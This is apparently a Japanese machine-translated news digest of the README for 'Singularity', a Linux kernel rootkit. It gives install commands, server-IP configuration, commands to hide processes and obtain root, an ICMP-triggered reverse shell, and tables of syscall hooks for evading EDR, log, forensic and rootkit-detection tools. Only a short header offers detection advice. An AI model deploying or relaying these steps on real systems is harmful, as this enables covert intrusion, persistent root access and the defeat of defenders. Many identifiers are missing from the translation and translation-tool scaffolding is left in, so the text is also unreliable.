
2026/01/05 22:45
**タイトル** *シンギュラリティ・ルートキット:SELinux バイパスと Netlink フィルタ(SS / ConnTrack 隠蔽)* --- - **主な機能** - SELinux のポリシーを迂回し、権限昇格を実現します。 - netlink フィルタを用いて、`ss` 等のツールからソケットと接続追跡エントリを隠蔽します。 - **検知・対策** - 異常な netlink トラフィックパターンを監視する。 - SELinux が正しく設定され、強制モードで動作していることを確認する。 - 隠れたプロセスやネットワーク接続の定期的な監査を実施する。 --- *高度なルートキットを監視するセキュリティチーム向けに作成*
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
以下は、欠落していた詳細をすべて取り入れつつ、テキストを簡潔で明瞭に保った改訂版です。
改訂サマリー
Singularity は、カーネル 6.x 用に設計されたオープンソースの Linux カーネルモジュール(LKM)リートキットです。プロセス、ファイル/ディレクトリ、ネットワーク活動、およびログをステルス化しつつ、権限昇格とリバースシェル機能を提供します。モジュールは ftrace を介してシステムコールをフックし、
getdents、stat、kill(ESRCH)、sched_get*、および /proc/[pid] エントリをフィルタリングします。子プロセスはトレースポイントフックにより自動追跡されます。ファイル隠蔽はパターンマッチングを使用し、隠されたパスはアクセス可能ですが ls、find、または locate では見えません。ネットワークステルスは TCP/UDP ポート、conntrack エントリ、RAW ソケットトラフィックをブロックし、netlink の SOCK_DIAG / NETFILTER クエリをフィルタリングし、 tpacket_rcv でパケットをドロップします。
Singularity は dmesg、journalctl、klogctl、syslog、
/proc/kallsyms、/proc/kcore、/proc/vmallocinfo、および debugfs をフックしてログをサニタイズし、機密文字列を除去します。標準的なリートキット検出器(unhide、chkrootkit、rkhunter)や bpftrace、libbpf、io_uring モニター、そして一部の Linux EDR など最新ツールを回避します。モジュールは新しいカーネルモジュールのロードを無効化し、汚染フラグをクリアし、BPF 操作をブロックし、io_uring バイパスに対抗し、カーネル汚染フラグを自動的に正規化します。
インストールにはカーネル 6.x ヘッダー、GCC/Make、および root アクセスが必要です。ロード後は
lsmod/sysfs から自身を隠します。モジュールはアンロードをサポートしません ― 削除には再起動が必要です。Singularity は GitHub(MatheuZSecurity/Singularity)で入手可能で、x86_64 および ia32 カーネル 6.8–6.17 をサポートしています。本製品は教育目的のみで提供されており、著者は法的/倫理的配慮を警告し、プルリクエストや Discord のディスカッションを通じた研究貢献を歓迎します。
このバージョンの理由
- 主要機能とメカニズムをすべて列挙しています。
- 言及されている内容以外の推論は避け、ICMP トリガー型リバースシェルや SELinux バイパスなど具体的に明示しています。
- 主要メッセージは明確です:Singularity はカーネル 6.x 用のステルスリートキットで、包括的な回避機能を備えています。
本文
Singularity – ステルス型 Linux カーネル・ルートキットのPOC
概要
- 目的: 最新 6.x カーネル向けの高度なカーネルレベルルートキット
- 主な機能: プロセス/ファイル/ネットワーク隠蔽、権限昇格、ログ洗浄、自身隠蔽、リモートアクセス、大規模検知回避
コア機能
| 機能 | 説明 |
|---|---|
| プロセス隠蔽 | への可視化を完全に排除し、監視ツールや子プロセスも自動追跡。 |
| ファイル/ディレクトリ隠蔽 | パターンマッチで対象を隠すが、直接アクセスは可能。 |
| ネットワークステルス | TCP/UDP 接続・ポート・conntrack エントリ・生パケットを隠蔽。 |
| 権限昇格 | 環境変数やシグナル等複数の手段で root へ取得。 |
| ログ洗浄 | 、、 等カーネルログをリアルタイムでフィルタ。 |
| 自己隠蔽 | モジュールリスト・システム監視から自分自身を削除。 |
| リモートアクセス | ICMP トリガーの逆シェルで SELinux を回避。 |
| アンチ検知 | eBPF、io_uring 操作をブロックし、新規モジュールロードを防止。 |
| 監査・メモリフォレンジクス回避 | 監査メッセージを削除、、 等をフィルタ。 |
| cgroup/syslog フィルタリング | cgroup 内の PID や syslog アクセスを隠蔽。 |
| debugfs 回避 | 生ブロックデバイスを読むツールの出力をフィルタ。 |
インストール
cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh sudo bash scripts/x.sh
モジュールは自動で隠蔽し、汚染フラグをクリアしてから設定済みファイル/プロセスの保護を開始します。
設定
- サーバー IP を設定 –
を編集include/core.h#define YOUR_SRV_IP "192.168.1.100" // 必要に応じて変更 #define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } - ICMP ハンドラ – 必要なら
を修正。modules/icmp.c
使用方法
プロセス隠蔽
# 現在のシェルを隠す kill -59 $$ # 特定プロセスを隠す kill -59 <PID>
隠されたプロセスは
、ps
、top
、htop
及び監視ツールから見えなくなります。/proc
ファイル/ディレクトリ隠蔽
mkdir singularity echo "secret" > singularity/data.txt
/ls
/find
は何も表示しません。locate- ただし
でアクセス可能です。cat singularity/data.txt
は失敗します。cd singularity
root 化
| 方法 | コマンド |
|---|---|
| 環境変数 | → が uid=0 を示す |
| シグナル | → が uid=0 を示す |
ネットワーク接続隠蔽
nc -lvnp 8081
監視ツール(
ss、netstat、lsof、/proc/net/nf_conntrack)は何も報告せず、生パケットはソケットレベルでドロップされます。
ICMP 逆シェル
- 攻撃者側でリスナーを起動。
- トリガー:
sudo python3 scripts/trigger.py <target_ip> - 隠れた root シェルが受信され、SELinux が有効でも回避。
保護メカニズム
| カテゴリ | 詳細 |
|---|---|
| Ftrace 制御 | Ftrace 無効化要求は静かにブロック。 |
| BPF 操作 | 隠蔽 PID からの eBPF ロード/クエリをすべて遮断。 |
| io_uring | PID キャッシュで非同期 I/O バイパスを防止。 |
| ログ洗浄 | カーネルログインタフェース全体に対しリアルタイムフィルタ。 |
| ディスクフォレンジクス回避 | システムコールで debugfs 等からの出力を洗浄。 |
| プロセス/ファイル隠蔽 | 、、 などシステムコールをフックし、対象を隠す。 |
システムコールフック表
| システムコール | モジュール | 用途 |
|---|---|---|
, | | ディレクトリエントリ(PID)を隠す。 |
, , 等 | | ファイルメタデータを隠しリンク数を調整。 |
| | 隠蔽された へのアクセスをブロック。 |
| | シンボリックリンク解決を遮断。 |
| | 隠蔽ディレクトリへ移動不可に。 |
, 等 | | カーネルログ・ などをフィルタ。 |
| 同上 | をフィルタ。 |
, … | | ftrace 制御ブロック、ディスクフォレンジクス・ジャーナル出力をフィルタ。 |
, | 同上 | 保護ファイルへのコピーを遮断。 |
, , | 同上 | パイプベースの書き込みをブロック。 |
| 同上 | 非同期 I/O バイパスを防止。 |
, | | root 取得トリガーとマジック環境検出。 |
, … | 同上 | 隠蔽 PID に対して ESRCH を返す。 |
| 同上 | プロセス数を調整。 |
| 同上 | 隠蔽 PID へのアクセス拒否。 |
ネットワーク ( 等) | | から接続を隠す。 |
| 同上 | 生ソケットパケットをドロップ。 |
Netlink (, ) | | 監査メッセージフィルタ、隠蔽 PID 用 Netlink クエリを捨てる。 |
| | eBPF トレース操作ブロック。 |
モジュールロード (, ) | | 新規モジュールロード禁止。 |
| ICMP 逆シェル | | 隠れた逆シェルトリガー、SELinux 回避。 |
| TaskStats クエリ | | 隠蔽 PID 用 TaskStats をブロック。 |
Tracepoint () | | 子プロセスを追跡。 |
| カーネル汚染マスク | | 汚染フラグクリア。 |
| 自己隠蔽 | | モジュールリスト・sysfs から自分自身を除去。 |
対応環境
- テスト済みカーネル
✅6.8.0-79-generic
✅6.12
✅6.17.8-300.fc43.x86_64
- アーキテクチャ: x86_64(主)、ia32(完全サポート)
- 6.x 未満や ftrace が無効化されているカーネルでは動作しない可能性があります。
検知・回避概要
| 領域 | 回避技術 |
|---|---|
| プロセス監視 | 、、 を syscall フックで隠蔽。 |
| ファイルシステム | 、、、 などをフィルタ。 |
| ディスクフォレンジクス | debugfs、e2fsck の出力を write フックで洗浄。 |
| メモリフォレンジクス | を Volatility 等から隠蔽。 |
| ネットワーク | 、、、tcpdump、wireshark、conntrack などを抑制。 |
| ログ・トレース | 、、、strace、ltrace、ftrace、perf、bpftrace、bpftool、libbpf をフィルタまたはブロック。 |
| ルートキット検出ツール | 、、 を回避。 |
| モジュール検出 | 、、、、kmod を隠蔽。 |
| 最新ツール | eBPF ベースの Tracee、io_uring 監視器、一部 Linux EDR を回避。 |
貢献と連絡先
- GitHub:
MatheuZSecurity/Rootkit - Discord:
kprobe - Pull Request は改善・バグ修正・新しい回避手法の追加を歓迎します。
- バグ報告は GitHub Issues へ。
謝辞
本プロジェクトは教育目的および許可されたセキュリティ研究のみを想定しています。所有権あるシステム、または明示的な許可がある環境でのみ使用してください。無断アクセスは多くの法域で違法です。著者は不正利用に対して一切責任を負いません。